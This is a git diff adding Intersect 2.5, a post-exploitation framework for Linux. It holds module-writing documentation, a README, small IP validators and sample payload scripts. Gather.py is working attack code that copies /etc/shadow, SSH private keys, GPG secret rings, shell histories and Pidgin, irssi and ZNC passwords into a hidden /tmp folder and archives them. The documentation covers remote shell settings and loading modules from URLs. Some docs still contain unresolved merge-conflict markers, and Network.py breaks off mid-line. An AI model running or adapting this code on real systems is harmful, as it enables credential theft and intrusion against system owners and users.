specific variables (i.e., shell ports and hosts, crypto keys, proxy ports, etc) + -- view, add or remove modules from the queue + -- view description and information on any given module +* Import custom modules + -- download and import from a url + -- import from a local directory +* Download Intersect 2.5 updates + -- requires Git to be installed locally + -- useful for bug fixes, new features, etc +* Various help menus and lots of other commands + +You will be asked to give your newly created script a name. Enter the filename, without the Python file extension, when +you are prompted. Your final script will be saved in the Scripts directory. + + diff --git a/Intersect-2.5/Docs/UPDATING b/Intersect-2.5/Docs/UPDATING new file mode 100644 index 0000000..9c05f6e --- /dev/null +++ b/Intersect-2.5/Docs/UPDATING @@ -0,0 +1,25 @@ + +Documentation: How to update Intersect Framework + +- How To Update +- Updates Schedule + + +How To Update: + +*coming soon* + + +Updates Schedule: + +New features, bug fixes and upgrades are constantly being pushed to +the Intersect Github repository. I will do my best to make sure that every +Monday morning, there is a stable release available. The stable release will +be listed under the 'master' branch and any developmental and beta upgrades +will be listed under the 'development' branch. + +Every Monday morning, you can update to the latest stable release by using +the command 'git pull master' from your main Intersect directory. + +For the beta release use 'git pull development' + diff --git a/Intersect-2.5/Docs/WritingModules b/Intersect-2.5/Docs/WritingModules new file mode 100644 index 0000000..d48cd39 --- /dev/null +++ b/Intersect-2.5/Docs/WritingModules @@ -0,0 +1,244 @@ +Intersect 2.5 - Documentation +How To Write Custom Modules + +Tables of Contents +* Module Format +* Writing +* Built-in Functions & Global Variables +* Importing + +Note: The best way to get an idea of the module format is to view the source code for any of the current modules. +The 'egressbuster' Custom module is a good example to start with because it makes use of the global variables and more +than one Python function. + + + + [ Module Format ] + +The entire Intersect 2.5 framework and every module included is pure Python, based mainly on the core Python libraries. + +Each module must start on the second line of the file. This line is used to place a comment that explains a short +description and any author information about that module. 'Line X:' is included just for demonstration purposes, do not +include that text. +Example => + +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. + +The next section of the module is the actual code that will be executed when we call the module function from the +command line. As of right now, each module is simply a Python function or a collection of functions. In the near future, +this will most likely be changed to implement classes so we can better handle larger and more complex modules. + +The name of your function should correlate to the modules task. For example, the Standard bindshell module is saved as +'bshell' and the function is called 'bshell.' This is because Create takes the modules filename and uses that for the +getopt option that is called from the command line. +Example => + +Line 1: +Line 2: # This is a basic TCP bind shell +Line 3: def function(): +Line 4: print("Insert some code here!") + +The above example would be saved as a file named "function" within the Modules/Custom directory. +When Create adds that module to the custom script, getopt will take the first letter of the filename for the short option +and take the whole name for the long option. +So, the module called 'function' with the function 'function()' becomes '-f' or '--function' from the command line. +When you execute ./Script.py -f or ./Script.py --function, the Script will attempt to call the function function(). + +If you don't name the module filename and function correctly, there will be errors when trying to call the function. + +To recap the full format of a module and how Create calls that module, view the example below. + + +*Sample Module* +Line 1: +Line 2: # This is a sample module description. Written by A. Hacker. +Line 3: def function(): +Line 4: print("This is my example module!") +Line 5: if os.path.exists("/etc/passwd") is True: +Line 6: print("We found the passwd file!") + + + +*Sample GetOpt* (This is generated automatically by the Create application) +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'fh', ['function', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-f', '--function'): + function() + + + +*Sample Command Line Usage* +root@system:~$ ./Script.py --function +This is my sample module! +We found the passwd file! + +root@system:~$ ./Script.py --help +intersect 2.5 | custom version +http://bindshell.it.cx | ohdae +Modules: + -f --function + -h --help + + + + + [ Writing Modules ] + +Now that you have the general idea of the module format, this section will briefly explain how to write custom modules. +Writing your own modules is almost indentical to writing a regular Python script, only with a few slight changes. +If you all ready know Python, you'll find this very straight forward. + +* You do not need to define getopt or any usage information. This will be generated on the fly by Create. + +* You do not need to import libraries, unless you need to use one that is not included in the Script Template file. + -- The Script Template includes alot of the usually needed Python libraries. For a full list, view the file in the + src/Templates/ directory. + -- If you import a module that is not part of the Python standard libraries, make sure you call an Import exception + in case the target system does not have that library installed on their system. + -- If you want to use a 3rd party library that you know the target system does not have installed, you can either + install the module manually via pip or uploading the files or use an application like cx_Freeze or PyInstaller + to package all the needed libraries with your script and create a standalone executable file. + + Example: +<<<<<<< HEAD + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For a full list of all built-in functions and global variables, see the next section of this document. +======= + def function1(): + try: + import Impacket + except ImportError: + print("[!] Python library Impacket is not installed!") + Shutdown() + sys.exit(0) + +* Many of the global variables are all ready defined in the Script Template. This covers most remote shell variables, + temporary directories, etc. + For example, if you are writing a remote shell module you do not need to define HOST, PORT, RHOST, RPORT, etc. because + you are prompted for that information during the Create process and they are saved as global variables to the final + script. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +* Defining arguments: + To define arguments, simply do this inside of your modules function. If your module requires the user supplies + a file name, specify that in the Description line and add a line of code to your module like this: + filename = sys.argv[2] + + Note: This will be better implemented in the future to include any needed arguments in the Usage menu. + +* Using Classes: + If you are writing a larger module that makes use of Python classes, you only need to make one slight change + within the final custom script. This is done to ensure that getopt calls the correct class and function when + calling your module. Make this change in the Scripts/YourScript.py file after you've finished with Create. + + Getopt WITHOUT Class: + elif o in ('-f', '--function'): + function() + + Getopt WITH Class: + elif o in ('-f', '--function'): + classname.function() + +* Making use of the Temporary Directories (lift-*/) + Intersect 2.5 saves any gathered information and files to a series of temporary directories within the target + systems /tmp/ folder. We create a folder called /tmp/lift+$randomstring. + The temporary directory for each session is saved as the global variable Temp_Dir. + To create subfolders of your sessions temporary directory, simply do something like: + os.system("mkdir %s/MyModulesStuff" % Temp_Dir) + This will create the folder /tmp/lift-$randomstring/MyModulesStuff where you can save files and other information + that your module creates or uses. + + Every time Intersect 2.5 exits, we check to see if the temporary directory is empty and unused. If it is, we delete + the directory so we don't just leave a bunch of random directories behind. + But if there is files saved into the lift+$randomstring directory or any of the subfolders, they are kept until + you or your module manually removes them. + + If you want your module to shut down the Intersect script and check if lift+$randonstring contains any files, + just call the built-in Shutdown() function followed by sys.exit(0) + + + + + [ Built-in Functions & Variables ] + + The table below details the other built-in variables and functions that you can make use of for your modules. + Feel free to edit the Script_Template file to add or change whatever you need. + + Variable or Function Assigned Task + -------------------- -------------- + list: modList list of all included module names + variable: Temp_Dir lift+$randomstring directory + variable: Home_Dir os.environ['HOME'] + variable: User_Ip_Address socket.gethostbyname(socket.gethostname()) + variable: distro os.uname()[1] + variable: distro2 platform.linux_distribution()[0] + variable: PORT listen port defined using Create + variable: RHOST remote host defined using Create (*your* IP address, not the targets) + variable: RPORT remote port defined using Create (*your* listening port, not the targets) + variable: PPORT proxy port defined using Create + variable: PKEY private cipher key defined using Create + variable: UTMP_FILEPATH "/var/run/utmp" + variable: WTMP_FILEPATH "/var/run/wtmp" + variable: LASTLOG_FILEPATH "/var/log/lastlog" + variable: Rand_Dir ''.join(random.choice(string.letters) for i in xrange(12)) + function: Shutdown() Checks for files in Temp_Dir. If no files exist, deletes directory. + function: signalHandler() Catch for Ctrl+C. Calls Shutdown() and exits script clean. + function: whereis(app) Checks system PATH for existence of app. + + + + + [ Importing Your Modules ] + +After you're done writing your module, you are going to want to import it into the framework so you can use it +within custom scripts and the Create application. This is very easy to do and can be done in one of two ways. + + +* Method One (manual) + + Simply copy or save the module you wish to import into the src/Modules/Custom/ directory. + After you've placed your module in the Custom directory, restart Create and you're all done. + + +* Method Two (via Create) + + 1. Execute Create.py and select option '3' from the main menu. + 3 => Load Plugin Module + 2. To import a local module that is stored on your system, select option '1' + 1 => Load module by filename + 2a. To download an import a module from a webserver, select option '2' + 2 => Download and import module + 3. Enter the full path of your locally stored module into the option '1' prompt. + This will copy the module from it's location into the src/Modules/Custom/ directory. + 3a. Enter the URL with filename into the option '2' prompt. + This will download the module from the specified webserver and save it to the src/Modules/Custom/ directory. + + If everything worked the way it should, you will see the following message and be returned to the Main Menu: + "[+] Module successfully loaded into the custom modules directory!" + + +<<<<<<< HEAD +======= + + +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf diff --git a/Intersect-2.5/Junk/is_valid_ipv4.py b/Intersect-2.5/Junk/is_valid_ipv4.py new file mode 100644 index 0000000..6701aa4 --- /dev/null +++ b/Intersect-2.5/Junk/is_valid_ipv4.py @@ -0,0 +1,36 @@ +def is_valid_ipv4(ip): + pattern = re.compile(r""" + ^ + (?: + # Dotted variants: + (?: + # Decimal 1-255 (no leading 0's) + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's) + | + 0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's) + ) + (?: # Repeat 0-3 times, separated by a dot + \. + (?: + [3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2} + | + 0x0*[0-9a-f]{1,2} + | + 0+[1-3]?[0-7]{0,2} + ) + ){0,3} + | + 0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff + | + 0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777 + | + # Decimal notation, 1-4294967295: + 429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}| + 42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}| + 4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8} + ) + $ + """, re.VERBOSE | re.IGNORECASE) + return pattern.match(ip) is not None diff --git a/Intersect-2.5/Junk/validip.py b/Intersect-2.5/Junk/validip.py new file mode 100644 index 0000000..8adce77 --- /dev/null +++ b/Intersect-2.5/Junk/validip.py @@ -0,0 +1,19 @@ +#!/usr/bin/python +#create valid ipv4 address + + +def valid_ip(ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + +ip_address = raw_input("enter ip to check: ") +if valid_ip(ip_address) is True: + print ("valid ip!") +else: + print ("no!") + + diff --git a/Intersect-2.5/Logs/ActivityLog b/Intersect-2.5/Logs/ActivityLog new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Logs/build_log b/Intersect-2.5/Logs/build_log new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/README b/Intersect-2.5/README new file mode 100644 index 0000000..22b8753 --- /dev/null +++ b/Intersect-2.5/README @@ -0,0 +1,43 @@ +Intersect 2.5 - Post Exploitation Framework +author: ohdae [bindshell@live.com] +website: http://bindshell.it.cx + https://github.com/ohdae/Intersect-2.5/ + http://www.twitter.com/bindshell_ + +NOTICE: See the documentation with the Docs directory for a detailed README, Guide documentation + and a How-To on writing custom modules. + + +LICENSE + +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you will give appropriate credit where credit is due and the above license and copyright information +is included. diff --git a/Intersect-2.5/Scripts/Samples/Gather.py b/Intersect-2.5/Scripts/Samples/Gather.py new file mode 100644 index 0000000..5648b5d --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Gather.py @@ -0,0 +1,571 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds'] + PORT = 8888 + RHOST = '' + RPORT = 8888 + PPORT = 8080 + PKEY = 'KXYRTUX' +def archive(): + ''' + @description: Creates a tar archive of any files located within the Intersect sessions temporary directory + @short: create tar archive of sessions temp directory + @author: ohdae [bindshell@live.com] + ''' + + os.chdir(Temp_Dir) + temp_files = os.listdir(Temp_Dir) + tarlist("reports", temp_files) + + +def extras(): + ''' + @description: Searches for system, service and app configurations. Also tries to locate certain installed apps and protection measures. + @author: ohdae [bindshell@live.com] + @short: finds configs, security measures and misc apps + ''' + maketemp("extras") + protectiondir = (Temp_Dir+"/extras") + os.chdir(protectiondir) + os.mkdir(Config_Dir) + + + configs = [ "/etc/snort/snort.conf", "/etc/apache2/apache2.conf", "/etc/apache2/ports.conf", + "/etc/bitlbee/bitlbee.conf", "/etc/mysql/my.cnf", "/etc/ufw/ufw.conf", "/etc/ufw/sysctl.conf", + "/etc/security/access.conf", "/etc/security/sepermit.conf", "/etc/ca-certificates.conf", "/etc/apt/secring.gpg", + "/etc/apt/trusted.gpg", "/etc/nginx/nginx.conf", "/etc/shells", "/etc/gated.conf", "/etc/inetd.conf", "/etc/rpc", + "/etc/psad/psad.conf", "/etc/mysql/debian.cnf", "/etc/chkrootkit.conf", "/etc/logrotate.conf", "/etc/rkhunter.conf" + "/etc/samba/smb.conf", "/etc/ldap/ldap.conf", "/etc/openldap/ldap.conf", "/opt/lampp/etc/httpd.conf", "/etc/cups/cups.conf", + "/etc/exports", "/etc/fstab", "~/.msf4/history", "/etc/ssl/openssl.cnf" ] + + + for x in configs: + copy2temp(x, "configs") + + print("[+] Searching for protection and misc extras....") + program = [ "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", + "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", + "rkhunter", "perl", "tcpdump", "nc", "webmin", "python", "gcc", "jailkit", + "pwgen", "proxychains", "bastille", "wireshark", "nagios", "nmap", "firefox", + "nagios", "tor", "openvpn", "virtualbox", "magictree", "apparmor", "git", + "xen", "svn", "redmine", "ldap", "msfconsole" ] + + for x in program: + location = whereis(x) + if location is not None: + text = location + '\n' + writenew("FullList.txt", text) + + users() + + for user in userlist: + if os.path.exists("/home/%s/.msf4/" % user) is True: + os.system("ls -l /home/%s/.msf/loot > MSFLoot-%s.txt" % (user, user)) + if os.geteuid() == 0: + if os.path.exists("/root/.msf4/") is True: + os.system("ls -l /root/.msf4/loot > MSFLoot-root.txt") + + + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + os.system("ls -alhR /home > AllUsers.txt") + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + + +def getrepos(): + ''' + @description: Tries to find various source code repositories and management tools. Git, SVN. + @author: ohdae [bindshell@live.com] + @short: search for source code repos + ''' + os.mkdir(Temp_Dir+"/repos") + repodir = (Temp_Dir+"/repos") + os.chdir(repodir) + + users() + + if whereis('git') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("find /home/%s -name *.git > %sRepos.txt" % (user, user)) + proc = Popen('cat /home/%s/.gitconfig' % user, + shell=True, + stdout=PIPE, + ) + userinfo = proc.communicate()[0] + + if os.geteuid() == 0: + os.system("find /root -name *.git > RootRepos.txt") + proc = Popen('cat /root/.gitconfig', + shell = True, + stdout=PIPE, + ) + + output = proc.communicate()[0] + writenew("GitConfigs.txt", output + userinfo) + + if whereis('svn') is not None: + for user in userlist: + if os.path.exists("/home/%s" % user) is True: + os.system("/usr/bin/find /home/%s -name *.svn > SvnRepos.txt" % user) + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = ip = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -a --archive create tar archive of sessions temp directory ') + print(' -e --extras finds configs, security measures and misc apps') + print(' -o --osuser enumerate user and system information') + print(' -g --getrepos search for source code repos') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'aeognc', ['archive', 'extras', 'osuser', 'getrepos', 'network', 'creds', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-a', '--archive'): + archive() + elif o in ('-e', '--extras'): + extras() + elif o in ('-o', '--osuser'): + osuser() + elif o in ('-g', '--getrepos'): + getrepos() + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) diff --git a/Intersect-2.5/Scripts/Samples/Network.py b/Intersect-2.5/Scripts/Samples/Network.py new file mode 100644 index 0000000..7df1037 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Network.py @@ -0,0 +1,494 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = 